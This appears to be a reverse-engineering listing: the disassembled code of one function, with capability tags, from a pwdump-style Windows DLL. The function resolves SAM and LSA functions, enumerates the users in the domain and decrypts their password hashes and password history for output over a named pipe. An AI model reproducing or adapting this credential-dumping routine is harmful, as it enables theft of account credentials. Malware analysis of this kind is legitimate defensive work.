Function at 0x100015c0
Capabilities:
Link many functions at runtime
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x2a8
mov eax, dword [0x10010004]
xor eax, esp
mov dword [esp + 0x2a4], eax
push ebx
mov ebx, dword [esp + 0x2b4]
push esi
mov esi, dword [esp + 0x2b4]
push edi
xor edi, edi
push esi
mov dword [esp + 0x2c], edi
mov dword [esp + 0x24], edi
mov dword [esp + 0x1c], edi
mov dword [esp + 0x10], edi
mov dword [esp + 0x4c], edi
mov dword [esp + 0x14], edi
mov dword [esp + 0x34], edi
mov dword [esp + 0x40], edi
mov dword [esp + 0x30], 1
call fcn.100011d0
add esp, 4
test eax, eax
je 0x10001d0d
push str.Starting...
call fcn.100012c0
push esi
push str.Using_pipe__s
call fcn.100012c0
mov esi, dword [esp + 0x2cc]
push esi
push str.Key_length_is__d
call fcn.100012c0
push esi
call fcn.10002123
push esi
push ebx
push eax
mov dword [0x10010f90], eax
call fcn.10002210
add esp, 0x24
cmp dword [esp + 0x2c4], edi
je 0x1000166c
mov dword [section..data], edi
mov eax, dword [0x10010f90]
push ebp
push esi
push eax
push 0x10011a20
call fcn.10001090
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
add esp, 0xc
push str.samsrv.dll
call esi
mov ebx, eax
push str.advapi32.dll
mov dword [esp + 0x38], ebx
call esi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.SamIConnect
mov ebp, eax
push ebx
mov dword [esp + 0x48], ebp
call esi
push str.SamrOpenDomain
push ebx
mov dword [0x10010f60], eax
call esi
push str.SamrOpenUser
push ebx
mov dword [0x10010f64], eax
call esi
push str.SamrQueryInformationUser
push ebx
mov dword [0x10010f68], eax
call esi
push str.SamrEnumerateUsersInDomain
push ebx
mov dword [0x10010f6c], eax
call esi
push str.SamIFree_SAMPR_USER_INFO_BUFFER
push ebx
mov dword [0x10010f70], eax
call esi
push str.SamIFree_SAMPR_ENUMERATION_BUFFER
push ebx
mov dword [0x10010f74], eax
call esi
push str.SamrCloseHandle
push ebx
mov dword [0x10010f78], eax
call esi
push str.SamIGetPrivateData
push ebx
mov dword [0x10010f7c], eax
call esi
push str.SystemFunction025
push ebp
mov dword [0x10010f80], eax
call esi
push str.SystemFunction027
push ebp
mov dword [0x10010f84], eax
call esi
cmp dword [0x10010f60], edi
mov dword [0x10010f88], eax
je 0x10001cff
cmp dword [0x10010f64], edi
je 0x10001cff
cmp dword [0x10010f68], edi
je 0x10001cff
cmp dword [0x10010f6c], edi
je 0x10001cff
cmp dword [0x10010f70], edi
je 0x10001cff
cmp dword [0x10010f74], edi
je 0x10001cff
cmp dword [0x10010f78], edi
je 0x10001cff
cmp dword [0x10010f7c], edi
je 0x10001cff
cmp dword [0x10010f80], edi
je 0x100017aa
cmp dword [0x10010f84], edi
je 0x100017aa
cmp eax, edi
jne 0x100017bd
push str.No_pw_hist
call fcn.100012c0
add esp, 4
mov dword [section..data], edi
lea ecx, [esp + 0x2c]
push ecx
xor eax, eax
push 0xf0fff
lea edx, [esp + 0x64]
push edx
mov dword [esp + 0x68], eax
push edi
mov dword [esp + 0x70], eax
mov dword [esp + 0x74], eax
mov dword [esp + 0x78], eax
mov dword [esp + 0x7c], eax
mov dword [esp + 0x80], eax
mov dword [esp + 0x6c], 0x18
call sub.ADVAPI32.dll_LsaOpenPolicy
cmp eax, edi
jge 0x1000180e
push eax
push str.Error_1:_0x_08x
call fcn.100012c0
add esp, 8
jmp 0x10001d0c
mov ecx, dword [esp + 0x2c]
lea eax, [esp + 0x54]
push eax
push 5
push ecx
call sub.ADVAPI32.dll_LsaQueryInformationPolicy
cmp eax, edi
jge 0x10001836
push eax
push str.Error_2:_0x_08x
call fcn.100012c0
add esp, 8
jmp 0x10001d0c
push 1
push 0x2000000
lea edx, [esp + 0x2c]
push edx
push edi
call dword [0x10010f60]
cmp eax, edi
jge 0x10001860
push eax
push str.Error_3:_0x_08x
call fcn.100012c0
add esp, 8
jmp 0x10001d0c
mov ecx, dword [esp + 0x54]
mov edx, dword [ecx + 8]
lea eax, [esp + 0x1c]
push eax
mov eax, dword [esp + 0x28]
push edx
push 0xf07ff
push eax
call dword [0x10010f64]
mov ebp, eax
cmp ebp, edi
jge 0x100018a0
push ebp
push str.Error_4:_0x_08x
call fcn.100012c0
add esp, 8
mov dword [esp + 0x1c], edi
jmp 0x10001d0c
lea ecx, [esp + 0x3c]
push ecx
mov ecx, dword [esp + 0x20]
push 0x3e8
lea edx, [esp + 0x1c]
push edx
push edi
lea eax, [esp + 0x5c]
push eax
push ecx
call dword [0x10010f70]
mov esi, eax
cmp esi, edi
mov dword [esp + 0x48], esi
je 0x100018d6
cmp esi, 0x105
jne 0x10001cef
cmp dword [esp + 0x3c], edi
mov dword [esp + 0x38], edi
jle 0x10001cce
xor ebx, ebx
jmp 0x100018f0
push 0x100
lea edx, [esp + 0xb8]
push edi
push edx
mov dword [esp + 0x24], edi
call fcn.10001f00
push 0x100
lea eax, [esp + 0x1c4]
push edi
push eax
call fcn.10001f00
push 0x40
lea ecx, [esp + 0x90]
push edi
push ecx
call fcn.10001f00
mov eax, dword [esp + 0x38]
mov ecx, dword [eax + 4]
mov eax, dword [esp + 0x40]
add esp, 0x24
lea edx, [esp + 0x10]
push edx
mov edx, dword [ecx + ebx]
push edx
push 0x2000000
push eax
call dword [0x10010f68]
mov ebp, eax
cmp ebp, edi
jge 0x10001966
push ebp
push str.Error_5:_0x_08x
call fcn.100012c0
add esp, 8
jmp 0x10001cb6
mov edx, dword [esp + 0x10]
lea ecx, [esp + 0x18]
push ecx
push 0x12
push edx
call dword [0x10010f6c]
mov ebp, eax
cmp ebp, edi
jge 0x100019a0
push ebp
push str.Error_6:_0x_08x
call fcn.100012c0
add esp, 8
lea eax, [esp + 0x10]
push eax
call dword [0x10010f7c]
mov dword [esp + 0x10], edi
jmp 0x10001cb6
mov ecx, dword [esp + 0x14]
mov edx, dword [ecx + 4]
movzx eax, word [ebx + edx + 4]
mov edx, eax
and edx, 0xfffe
cmp dx, 0x200
jbe 0x100019c2
mov eax, 0x100
jmp 0x100019c7
movzx eax, ax
shr eax, 1
push edi
push edi
push 0x100
lea edx, [esp + 0x1c0]
push edx
push eax
mov dword [esp + 0x34], eax
mov eax, dword [ecx + 4]
mov ecx, dword [ebx + eax + 8]
push ecx
push edi
push 0xfde9
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
test eax, eax
jg 0x10001a19
mov edx, dword [str.PwDumpError]
mov eax, dword [0x1000d250]
mov ecx, dword [0x1000d254]
mov dword [esp + 0x1b4], edx
mov dword [esp + 0x1b8], eax
mov dword [esp + 0x1bc], ecx
mov edx, dword [esp + 0x14]
mov eax, dword [edx + 4]
mov ecx, dword [eax + ebx]
push ecx
lea edx, [esp + 0x1b8]
push edx
push str._s:_d
push 0x100
lea eax, [esp + 0xc4]
push 0x100
push eax
call fcn.100021e6
add esp, 0x18
test eax, eax
jg 0x10001a9d
mov ecx, dword [str.PwDumpError:999999]
mov edx, dword [0x1000d234]
mov eax, dword [0x1000d238]
mov dword [esp + 0xb4], ecx
mov ecx, dword [0x1000d23c]
mov dword [esp + 0xb8], edx
mov dx, word [0x1000d240]
mov dword [esp + 0xbc], eax
mov al, byte [0x1000d242]
mov dword [esp + 0xc0], ecx
mov word [esp + 0xc4], dx
mov byte [esp + 0xc6], al
mov esi, dword [esp + 0x18]
mov ecx, 8
lea edi, [esp + 0x74]
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0xb4]
push ecx
lea edx, [esp + 0x78]
push edx
call fcn.100013d0
mov eax, dword [esp + 0x20]
add esp, 8
push 0x12
push eax
call dword [0x10010f74]
xor esi, esi
cmp dword [section..data], esi
mov dword [esp + 0x18], esi
mov dword [esp + 0x44], 2
mov dword [esp + 0x58], esi
mov dword [esp + 0x20], esi
je 0x10001ca1
push 0x40
lea ecx, [esp + 0x78]
push esi
push ecx
call fcn.10001f00
add esp, 0xc
lea edx, [esp + 0x18]
push edx
lea eax, [esp + 0x24]
push eax
mov eax, dword [esp + 0x18]
lea ecx, [esp + 0x60]
push ecx
lea edx, [esp + 0x50]
push edx
push eax
call dword [0x10010f80]
mov ebp, eax
cmp ebp, esi
jne 0x10001ca1
mov ecx, dword [esp + 0x20]
cmp ecx, 0x3c
jbe 0x10001ca1
mov edi, dword [esp + 0x18]
movzx eax, byte [edi + 0x3c]
mov esi, eax
shr esi, 4
cmp esi, 1
mov dword [esp + 0x50], eax
jbe 0x10001c8c
add eax, 0x64
cmp ecx, eax
jbe 0x10001c8c
cmp esi, 1
mov dword [esp + 0x28], esi
jle 0x10001c8c
jmp 0x10001b70
mov edx, dword [esp + 0x14]
mov eax, dword [edx + 4]
lea ecx, [esp + 0x74]
push ecx
add eax, ebx
add edi, 0x10
push eax
lea ecx, [edi + 0x44]
push ecx
call dword [0x10010f84]
mov ebp, eax
test ebp, ebp
jne 0x10001c88
mov eax, dword [esp + 0x14]
mov ecx, dword [eax + 4]
lea edx, [esp + 0x84]
push edx
mov edx, dword [esp + 0x54]
add ecx, ebx
push ecx
lea eax, [edx + edi + 0x44]
push eax
call dword [0x10010f88]
mov ebp, eax
test ebp, ebp
jne 0x10001c88
push 0x100
push eax
lea ecx, [esp + 0xbc]
push ecx
call fcn.10001f00
mov edx, dword [esp + 0x20]
mov eax, dword [edx + 4]
mov ecx, dword [eax + ebx]
push ecx
mov edx, esi
sub edx, dword [esp + 0x38]
lea eax, [esp + 0x1c4]
push edx
push eax
push str._s_history__d:_d
push 0x100
lea ecx, [esp + 0xd4]
push 0x100
push ecx
call fcn.100021e6
add esp, 0x28
test eax, eax
jg 0x10001c5f
mov edx, dword [str.PwDumpError:999999]
mov eax, dword [0x1000d234]
mov ecx, dword [0x1000d238]
mov dword [esp + 0xb4], edx
mov edx, dword [0x1000d23c]
mov dword [esp + 0xb8], eax
mov ax, word [0x1000d240]
mov dword [esp + 0xbc], ecx
mov cl, byte [0x1000d242]
mov dword [esp + 0xc0], edx
mov word [esp + 0xc4], ax
mov byte [esp + 0xc6], cl
lea edx, [esp + 0xb4]
push edx
lea eax, [esp + 0x78]
push eax
call fcn.100013d0
mov eax, dword [esp + 0x30]
sub eax, 1
add esp, 8
cmp eax, 1
mov dword [esp + 0x28], eax
jg 0x10001b70
mov edi, dword [esp + 0x18]
test edi, edi
je 0x10001c97
push edi
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov dword [esp + 0x18], 0
xor esi, esi
lea ecx, [esp + 0x10]
push ecx
call dword [0x10010f7c]
mov dword [esp + 0x10], esi
mov esi, dword [esp + 0x48]
xor edi, edi
mov eax, dword [esp + 0x38]
add eax, 1
add ebx, 0xc
cmp eax, dword [esp + 0x3c]
mov dword [esp + 0x38], eax
jl 0x100018f0
mov edx, dword [esp + 0x14]
push edx
call dword [0x10010f78]
cmp esi, 0x105
mov dword [esp + 0x14], edi
je 0x100018a0
mov dword [esp + 0x30], edi
jmp 0x10001d0c
push ebp
push str.Error_7:_0x_08x
call fcn.100012c0
add esp, 8
jmp 0x10001d0c
push str.Target:_Failed_to_load_primary_SAM_functions.
call fcn.100012c0
add esp, 4
pop ebp
call fcn.10001570
mov eax, dword [0x10010f8c]
cmp eax, edi
je 0x10001d27
cmp eax, 0xffffffff
je 0x10001d27
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [esp + 0xc], edi
je 0x10001d38
lea eax, [esp + 0xc]
push eax
call dword [0x10010f7c]
cmp dword [esp + 0x18], edi
je 0x10001d49
lea ecx, [esp + 0x18]
push ecx
call dword [0x10010f7c]
cmp dword [esp + 0x20], edi
je 0x10001d5a
lea edx, [esp + 0x20]
push edx
call dword [0x10010f7c]
mov eax, dword [esp + 0x28]
cmp eax, edi
je 0x10001d68
push eax
call sub.ADVAPI32.dll_LsaClose
mov eax, dword [esp + 0x30]
cmp eax, edi
mov esi, dword [sym.imp.KERNEL32.dll_FreeLibrary]
je 0x10001d79
push eax
call esi
mov eax, dword [esp + 0x3c]
cmp eax, edi
je 0x10001d84
push eax
call esi
mov ecx, dword [esp + 0x2b0]
mov eax, dword [esp + 0x2c]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.10001eef
add esp, 0x2a8
ret